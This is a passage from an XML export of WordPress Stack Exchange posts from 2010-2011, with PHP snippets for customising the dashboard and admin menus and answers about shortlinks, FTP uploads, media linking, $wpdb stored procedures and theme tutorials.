Comments&#xA;unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);&#xA;//Incoming Links&#xA;unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);&#xA;//Plugins - Popular, New and Recently updated Wordpress Plugins&#xA;unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);&#xA;&#xA;//Wordpress Development Blog Feed&#xA;unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);&#xA;//Other Wordpress News Feed&#xA;unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);&#xA;//Quick Press Form&#xA;unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_quick_press']);&#xA;//Recent Drafts List&#xA;unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_recent_drafts']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Remove &quot;Read More&quot; page jumps**&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;instead return to the top of the page. You know how when you &#xA;click &quot;read more&quot; it will jump to the spot in the page which can be annoying, this makes it just load the page normally, no jumping!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_more_jump_link($link) { &#xA;$offset = strpos($link, '#more-');&#xA;if ($offset) {&#xA;$end = strpos($link, '&quot;',$offset);&#xA;}&#xA;if ($end) {&#xA;$link = substr_replace($link, '', $offset, $end-$offset);&#xA;}&#xA;return $link;&#xA;}&#xA;add_filter('the_content_more_link', 'remove_more_jump_link');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Restrict ADMIN menu items based on username&lt;/strong&gt;, replace username with an actual user's name.&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menus()&#xA;{&#xA;    global $menu;&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;&#xA;    if($current_user-&amp;gt;user_login == 'username')&#xA;    {&#xA;        $restricted = array(__('Posts'),&#xA;                            __('Media'),&#xA;                            __('Links'),&#xA;                            __('Pages'),&#xA;                            __('Comments'),&#xA;                            __('Appearance'),&#xA;                            __('Plugins'),&#xA;                            __('Users'),&#xA;                            __('Tools'),&#xA;                            __('Settings')&#xA;        );&#xA;        end ($menu);&#xA;        while (prev($menu)){&#xA;            $value = explode(' ',$menu[key($menu)][0]);&#xA;            if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){unset($menu[key($menu)]);}&#xA;        }// end while&#xA;&#xA;    }// end if&#xA;}&#xA;add_action('admin_menu', 'remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;//alternatively you can use if($current_user-&gt;user_login != 'admin') instead, probably more useful&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Style the tag cloud&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//tag cloud custom&#xA;add_filter('widget_tag_cloud_args','style_tags');&#xA;function style_tags($args) {&#xA;$args = array(&#xA;     'largest'    =&amp;gt; '10',&#xA;     'smallest'   =&amp;gt; '10',&#xA;     'format'     =&amp;gt; 'list',&#xA;     );&#xA;return $args;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full reference of options here ( there are a lot!) &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_tag_cloud&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_tag_cloud&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Change Default RSS Widget update timer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;( default is 6 or 12 hours I forget (1800 =30min).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_feed_cache_transient_lifetime', create_function('$fixrss', 'return 1800;') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-09-05T17:48:38.787" LastActivityDate="2011-09-05T17:48:38.787" CommunityOwnedDate="2010-11-09T22:18:07.710" CommentCount="3" />
  <row Id="3849" PostTypeId="2" ParentId="3844" CreationDate="2010-11-09T22:18:37.540" Score="0" ViewCount="" Body="&lt;p&gt;What you ask for is quite similar to what users experience when they move their site - they need to update links in all content to make changes. This is normally done by executing a SQL-query on the database to change all posts at once (&lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Reference&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that this constantly changes all links. This is probably not what you want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a temporary change, I suggest to buffer wordpress' output and then do either a best-guessed replace with &lt;code&gt;preg_replace_all()&lt;/code&gt; or &lt;code&gt;preg_replace_callback()&lt;/code&gt; and some regex or to do it safe by using &lt;a href=&quot;http://fluentdom.github.com/&quot; rel=&quot;nofollow&quot;&gt;fluentDOM&lt;/a&gt; and changing all links with ease by using it with the output buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is for testing only, I would do the second, temporary method. This will actually prevent that the original content got changed, so this is on viewing the frontend of the blog only.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-09T22:18:37.540" />
  <row Id="3850" PostTypeId="2" ParentId="3847" CreationDate="2010-11-09T22:27:35.893" Score="0" ViewCount="" Body="&lt;p&gt;wp.me shortlinks are a feature of wordpress.com. The were introduced in this article: &lt;a href=&quot;http://en.blog.wordpress.com/2009/08/14/shorten/&quot; rel=&quot;nofollow&quot;&gt;WP.me — shorten your links&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a wordpress.com webblog you can make use of that feature. The button which reveals the shortlink gets it from the page source, the link is stored there within a hidden input element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm unaware how this should be possible to use on other sites then wordpress.com, sorry.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-09T22:27:35.893" />
  <row Id="3852" PostTypeId="2" ParentId="3847" CreationDate="2010-11-09T23:13:34.543" Score="2" ViewCount="" Body="&lt;p&gt;WP 3.0 includes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_shortlink()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which returns the ?p=1 style url for any post within your domain. This can be filtered, however for other shortening services, which is what the &lt;a href=&quot;http://wordpress.org/extend/plugins/stats/&quot; rel=&quot;nofollow&quot;&gt;Wordpress.com Stats plugin&lt;/a&gt; does for self-hosted blogs. With that plugin installed and activated, wp.me shortlinks will be output instead of the default mydomain.com/?p=1, and can be retrieved with the function which can be used within the loop as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo wp_get_shortlink()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or to retrieve any post outside the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$link = wp_get_shortlink($post-&amp;gt;ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-11-09T23:13:34.543" CommentCount="2" />
  <row Id="3854" PostTypeId="1" AcceptedAnswerId="3889" CreationDate="2010-11-10T01:25:13.813" Score="2" ViewCount="782" Body="&lt;p&gt;I have uploaded some files (images) which I'd like to link in my own site as well as other places, but usually I try to host a different resolution of the same image to show up on other sites. &#xA;My problem with wordpress right now is that if I upload the file to Wordpress' upload directory through FTP, I don't see the file show up in my media (in WP-admin). I can get a link from my ftp client (cyberDuck) but it doesn't actually link me to a working link, also the link is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://ftp.mydomain.com/really-link-file-name-with-20%-and-at-the-end-its.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I assume it works like that b/c it contains jpg at the end but it doesn't work and takes me to a 404 page.&#xA;Any ideas of how I can go about uploading through an FTP client and get those files to show up on wordpress and also link correctly?&lt;/p&gt;&#xA;" OwnerUserId="1439" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-10T14:37:22.850" LastActivityDate="2011-07-23T07:45:24.637" Title="Using Wordpress as a CMS, I want to link to files directly, how do I go about this?" Tags="&lt;media&gt;&lt;cms&gt;&lt;uploads&gt;" AnswerCount="6" FavoriteCount="2" />
  <row Id="3855" PostTypeId="2" ParentId="3854" CreationDate="2010-11-10T02:03:27.290" Score="0" ViewCount="" Body="&lt;p&gt;WordPress has the ability to automatically resize images you upload and will keep the different resolutions in the uploads directory.  So instead of uploading different resolutions of the file through ftp, I would upload the original resolution of the file and let WordPress create the different sizes you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, WordPress will store 4 image sizes: thumbnail, medium, large, and original.  You can define these sizes in the admin under Settings -&gt; Media.  If you need more sizes than that, you can define more in a plugin or in your theme's functions.php by using the add_image_size() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size('my_new_size', $width, $height, $should_crop);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find more on this function in the codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_image_size&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-10T02:03:27.290" />
  <row Id="3856" PostTypeId="2" ParentId="3844" CreationDate="2010-11-10T02:17:04.137" Score="1" ViewCount="" Body="&lt;p&gt;Add a shortcode that refers the site url like this in your functions.php, or use a plugin like this one: &lt;a href=&quot;http://wordpress.org/extend/plugins/peters-blog-url-shortcodes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/peters-blog-url-shortcodes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your links can just be written like this: &lt;code&gt;&amp;lt;a href=&quot;[blogurl]/services&quot;&amp;gt;&lt;/code&gt; and they will still work when you move the site to a different server.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-11-10T02:17:04.137" />
  <row Id="3857" PostTypeId="1" CreationDate="2010-11-10T02:20:17.800" Score="1" ViewCount="120" Body="&lt;p&gt;I've been looking for a truly simple wordpress theme creation tutorial and haven't been able to find one. I'm specifically looking for something with sample code, a basic introduction to the syntax, and a list of all the wordpress-specific functions and variables and what they are.&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2010-11-10T07:18:41.367" Title="Easy WordPress theme creation tutorial?" Tags="&lt;theme-development&gt;&lt;3.0.1&gt;&lt;wordpress.org&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="3858" PostTypeId="2" ParentId="3793" CreationDate="2010-11-10T02:28:33.453" Score="0" ViewCount="" Body="&lt;p&gt;This is just a partial answer, but I can flesh it out later if this is what you're interested in doing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress doesn't search well by tags or any taxonomy terms; there just aren't the api features built-in for it, and in any case its not really a logical way to go about it. If the tag is &quot;Brad Pitt&quot;, and someone searches for &quot;Brad&quot;, or spells the name wrong, you have to do a good bit of parsing or SQL %LIKE querying to get the results you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better way of doing something like this is with an autocompleter... There's a very nice &lt;a href=&quot;http://madrobby.github.com/scriptaculous/autocompleter-local/&quot; rel=&quot;nofollow&quot;&gt;autocompleter module&lt;/a&gt; bundled with script.aculo.us, or if you prefer jquery, use the &lt;a href=&quot;http://docs.jquery.com/Plugins/autocomplete&quot; rel=&quot;nofollow&quot;&gt;jquery autocomplete plugin&lt;/a&gt;. Either way, load up a variable with your tags using &lt;code&gt;get_terms&lt;/code&gt;, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_localize_script&quot; rel=&quot;nofollow&quot;&gt;localize your autocompleter&lt;/a&gt; with that variable, and you should have a fairly decent tag search right off the bat.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-11-10T02:28:33.453" />
  <row Id="3859" PostTypeId="2" ParentId="3857" CreationDate="2010-11-10T02:56:59.273" Score="1" ViewCount="" Body="&lt;p&gt;This is is good. &#xA;&lt;a href=&quot;http://themeshaper.com/wordpress-themes-templates-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://themeshaper.com/wordpress-themes-templates-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also recommend youtube, vimeo and lynda.com for video tutorials&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-10T02:56:59.273" />
  <row Id="3860" PostTypeId="2" ParentId="3854" CreationDate="2010-11-10T03:04:47.730" Score="1" ViewCount="" Body="&lt;p&gt;What's with that url? Its possible but confusing, did you install wordpress on a sub-domain named ftp or redirect the media folder to point there? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use&#xA;  ftp: //ftp. mydomain.com/whatever.jpg&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Or&#xA;  http:// www. mydomain.com/whatever.jpg&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The easiest way is to just log into wordpress--&gt;click Media--&gt;upload a photo and copy the direct url to the image.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-10T03:04:47.730" />
  <row Id="3861" PostTypeId="1" CreationDate="2010-11-10T04:10:36.280" Score="0" ViewCount="83" Body="&lt;p&gt;I'm creating a theme for a particular WordPress site. There's one spot in the sidebar that displays a photo. The user might want to change the photo once a week. He doesn't want to use FTP to upload the new photo, or edit any theme files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set up the theme so he can upload a photo from within WordPress, e.g. to the media library, and have it replace the photo in the sidebar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I can think of is to have him upload the photo to the Media Library, click the hidden 'Edit' link under the photo in the media library, select and copy the file URL, then go to Appearance &gt; Widgets and paste the URL into a widget that displays the photo. But this seems like a lot to ask of a non-technical user, and there's a lot that can go wrong. Is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2010-11-10T04:59:18.550" Title="In creating a theme, how can i allow a user to change an image outside post/page content?" Tags="&lt;theme-development&gt;&lt;images&gt;&lt;media&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3862" PostTypeId="2" ParentId="3746" CreationDate="2010-11-10T04:14:16.517" Score="0" ViewCount="" Body="&lt;p&gt;Tumblr deliberately offers fewer features, which encourages clean, minimal designs. WordPress deliberately offers lots of features, which forces theme designers to accommodate a lot of stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good designer could design a Tumblr-style theme for WordPress, but it would have to leave out comments, for instance.&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2010-11-10T04:14:16.517" />
  <row Id="3863" PostTypeId="2" ParentId="3861" CreationDate="2010-11-10T04:59:18.550" Score="2" ViewCount="" Body="&lt;p&gt;I ran into a similar problem recently. I found plug-in called &quot;image widget&quot; &lt;a href=&quot;http://wordpress.org/extend/plugins/image-widget/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/image-widget/screenshots/&lt;/a&gt; that enabled upload right in the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client though had no idea how to barely log in and find the widgets so I ended up using a flickr widget since it was more user friendly ( aka they could upload the image from their iphone to flickr).&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-10T04:59:18.550" />
  <row Id="3864" PostTypeId="2" ParentId="3725" CreationDate="2010-11-10T05:57:23.200" Score="4" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/twentyten&quot; rel=&quot;nofollow&quot;&gt;Twenty Ten&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I have tried several frameworks and not liked any of them at all for heavier development. For quick stuff they are ok but all the extra stuff can make custom work a nightmare. Often the frameworks are so custom that it is like learning a new system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that reason I often just use Twentyten or a similar blank slate or sandbox theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Purpose&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parent theme, bundled with WordPress&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Strong features&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uses the standard WordPress folder structure and template hierarchy, great for support and Codex.&lt;/li&gt;&#xA;&lt;li&gt;Implements latest theme-related features.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Downsides&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No custom hooks or filters like you find in other frameworks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;licensing and pricing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Free and GPL&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-01-10T16:17:12.830" LastActivityDate="2011-01-10T16:17:12.830" CommunityOwnedDate="2010-11-10T05:57:23.200" CommentCount="3" />
  <row Id="3865" PostTypeId="1" CreationDate="2010-11-10T06:37:23.950" Score="0" ViewCount="309" Body="&lt;pre&gt;&lt;code&gt;$query = &quot;CALL ..........&quot;; &#xA;$result = $wpdb-&amp;gt;get_results($query); &#xA;print_r($results);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is returning an empty array and $wpdb-&gt;query does not return anything, how do you run stored procedures from the $wpdb class?&lt;/p&gt;&#xA;" LastActivityDate="2010-11-10T13:14:35.010" Title="Wordpress(wpdb class) and mysql stored procedures" Tags="&lt;mysql&gt;&lt;wpdb&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="3866" PostTypeId="2" ParentId="3854" CreationDate="2010-11-10T06:57:06.690" Score="1" ViewCount="" Body="&lt;p&gt;Two separate issues here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;in your FTP client you see [part of] real directory structure of your server, but your site works like web server sees it (focuses on site's root directory, not server's). To get working link you need to upload files in directory available to web server and use path relative to site root in URL;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;files uploaded directly are not picked up by WP media library. For that to happen you need either use WP media upload functionality or import media using some plugin that can do that (I only remember W3 Total Cache by name, that does that for better CDN support functionality).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-10T06:57:06.690" />
  <row Id="3867" PostTypeId="2" ParentId="3857" CreationDate="2010-11-10T07:18:41.367" Score="1" ViewCount="" Body="&lt;p&gt;Codex has plenty of relevant information, but it takes some effort to find it and put together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For starters see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;Theme Development&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/WordPress_Lessons&quot; rel=&quot;nofollow&quot;&gt;WordPress Lessons &gt; Designing Your WordPress Site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Blog_Design_and_Layout&quot; rel=&quot;nofollow&quot;&gt;Site Design and Layout&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-10T07:18:41.367" />
  <row Id="3868" PostTypeId="2" ParentId="3865" CreationDate="2010-11-10T07:23:04.200" Score="1" ViewCount="" Body="&lt;p&gt;I am not sure about procedures, but good start will be to check if there is some reason reported for query failing.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can turn error echoing on and off&#xA;  with the show_errors and hide_errors,&#xA;  respectively. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;?php $wpdb-&amp;gt;show_errors(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;?php $wpdb-&amp;gt;hide_errors(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can also print the error (if any)&#xA;  generated by the most recent query&#xA;  with print_error. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;?php $wpdb-&amp;gt;print_error(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#Show_and_Hide_SQL_Errors&quot; rel=&quot;nofollow&quot;&gt;Function Reference/wpdb Class &gt; Show and Hide SQL errors&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-10T07:23:04.200" />
  <row Id="3869" PostTypeId="1" CreationDate="2010-11-10T09:33:53.667" Score="1" ViewCount="103" Body="&lt;p&gt;Wordpress warns users when two of them are editing the same article, but the warning always says &quot;admin is editing this page&quot;. Admin is currently logged off and the message is caused by another author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Language files have the %s in place.&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:10:29.473" LastActivityDate="2011-03-07T10:38:37.857" Title="Why wordpress showe &quot;admin is editing...&quot; whoever edits?" Tags="&lt;users&gt;&lt;warnings&gt;&lt;support&gt;" AnswerCount="1" />
  <row Id="3870" PostTypeId="2" ParentId="3869" CreationDate="2010-11-10T10:00:13.130" Score="1" ViewCount="" Body="&lt;p&gt;There are two separate post meta values related to this behavior:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;_edit_lock&lt;/code&gt; - holds timestamp when post was last locked;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;_edit_last&lt;/code&gt; - hold ID of user who last edited post.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Most likely these somehow got out of sync - lock was triggered recently, but user wasn't properly updated. Hard to guess why from information you provided.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-10T10:00:13.130" CommentCount="5" />
  <row Id="3871" PostTypeId="2" ParentId="2982" CreationDate="2010-11-10T11:12:21.843" Score="2" ViewCount="" Body="&lt;p&gt;While researching another question, I found the &lt;a href=&quot;http://wordpress.org/extend/plugins/anyfeed-slideshow/&quot; rel=&quot;nofollow&quot;&gt;Anyfeed Slideshow plugin&lt;/a&gt;, that shows images in RSS feeds. I don't know how good it is displaying both text and images, but if your feed is image-focused (like a Flickr feed), this will probably do what you want.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-10T11:12:21.843" />
  <row Id="3872" PostTypeId="1" AcceptedAnswerId="3873" CreationDate="2010-11-10T12:06:12.370" Score="1" ViewCount="172" Body="&lt;p&gt;I've got code in my functions.php which parses the WP uploads folder and lists all images it finds there. Is it possible to place a filter here that would exclude any image that is already &quot;attached&quot; to a post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: &quot;List all images in folder &quot;uploads&quot; where image is not found in (attached images)&quot;&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-10T14:33:06.473" Title="How to list all images in uploads directory except those that are attached to any post" Tags="&lt;theme-development&gt;&lt;php&gt;&lt;functions&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="3873" PostTypeId="2" ParentId="3872" CreationDate="2010-11-10T13:08:03.817" Score="0" ViewCount="" Body="&lt;p&gt;Under Media / Edit, there's a means to list them, so I suggest you reuse the existing API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else, a general method, which works anywhere, is to run a db query with a left join:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select ID&#xA;  from foo&#xA;left join bar&#xA;    on whatever&#xA; where condition&#xA;   and bar.ID is null;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-10T13:08:03.817" CommentCount="9" />
  <row Id="3874" PostTypeId="2" ParentId="3865" CreationDate="2010-11-10T13:14:35.010" Score="2" ViewCount="" Body="&lt;p&gt;wpdb detects the type of query and returns the result if it starts with select, else the affected rows. Since yours starts by call, it's probably mistaking it for an insert, update, delete, etc. statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this (might trick wpdb into thinking it's a select statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* select */ call ...;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or this (not sure the mysql parser will like it):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select * from ( call ... );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If all else fails (and even if not), consider opening a ticket in the wp trac.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-10T13:14:35.010" />
  <row Id="3875" PostTypeId="1" CreationDate="2010-11-10T13:23:26.713" Score="5" ViewCount="1222" Body="&lt;p&gt;I would like to create a new modified version of my theme (check my profile if needed) to present to visitors if I detect that they are visiting the site from a hand-held device, like iPhone, Android, etc.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to detect if the request is coming from a mobile device/browser?&lt;/li&gt;&#xA;&lt;li&gt;How can I load and present them a dedicated theme?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More Info&lt;/strong&gt;: My theme is not fluid. It has a fixed width of about 976px (676px content + rest is left sidebar). I do not want to revolutionize the theme but I feel it is to large for 320x480 and 800x480 phones. Probably I will remove the sidebar or at least move it to right and do other small adjustments.&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditorDisplayName="" LastEditDate="2010-11-10T17:19:09.103" LastActivityDate="2010-11-10T23:41:12.407" Title="How to detect mobile devices and present them a specific theme?" Tags="&lt;theme-development&gt;&lt;mobile&gt;" AnswerCount="5" FavoriteCount="5" />
  <row Id="3876" PostTypeId="1" CreationDate="2010-11-10T13:29:19.733" Score="1" ViewCount="194" Body="&lt;p&gt;I have a Web site that consists of several pages, with different layouts, and also a blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like all these page to be editable through Wordpress, rather than having them as custom pages through wordpress which I then have to manually edit the html for in a html editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have multiple editable areas in a wordpress template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to achieve is a multi-column layout which is fully manageable in wordpress, is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1531" LastActivityDate="2010-11-11T13:39:24.737" Title="Advanced templating / Wordpress as a CMS questions" Tags="&lt;template&gt;&lt;cms&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="3877" PostTypeId="2" ParentId="1463" CreationDate="2010-11-10T13:47:48.960" Score="2" ViewCount="" Body="&lt;p&gt;I have searched the plugin directory for &lt;code&gt;&quot;resize&quot;&lt;/code&gt; or &lt;code&gt;&quot;crop&quot;&lt;/code&gt; (the latter for &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1733/user-friendly-cropping-of-post-thumbnails&quot;&gt;another question&lt;/a&gt;), and noted my findings in &lt;a href=&quot;https://spreadsheets.google.com/pub?key=0Aj28CyxNAlPvdENvdF9OeWw3c1ZtX2M0ckd2NnBBLUE&amp;amp;hl=en&amp;amp;output=html&quot; rel=&quot;nofollow&quot;&gt;a public Google spreadsheet&lt;/a&gt;. &lt;em&gt;The plugin search is very confusing in its result numbers (the last page of the &lt;code&gt;&quot;resize&quot;&lt;/code&gt; search shows &quot;Showing 145-150 of 273 plugins&quot;), so I may have missed a few. Semi-related notes: everybody seems to think the world needs another slideshow plugin. Few seem to realize that &lt;code&gt;content_save_pre&lt;/code&gt; may be a better filter to do heavy parsing than &lt;code&gt;the_content&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not test any of these plugins yet, but here is a list of plugins that seems to do what I want. I added the &quot;Compatible up to&quot; version number in parentheses.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/choicecuts-image-juggler/&quot; rel=&quot;nofollow&quot;&gt;ChoiceCuts Image Juggler&lt;/a&gt;, with multiple image handling functions accessible via an API (3.0.1)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/autothumb/&quot; 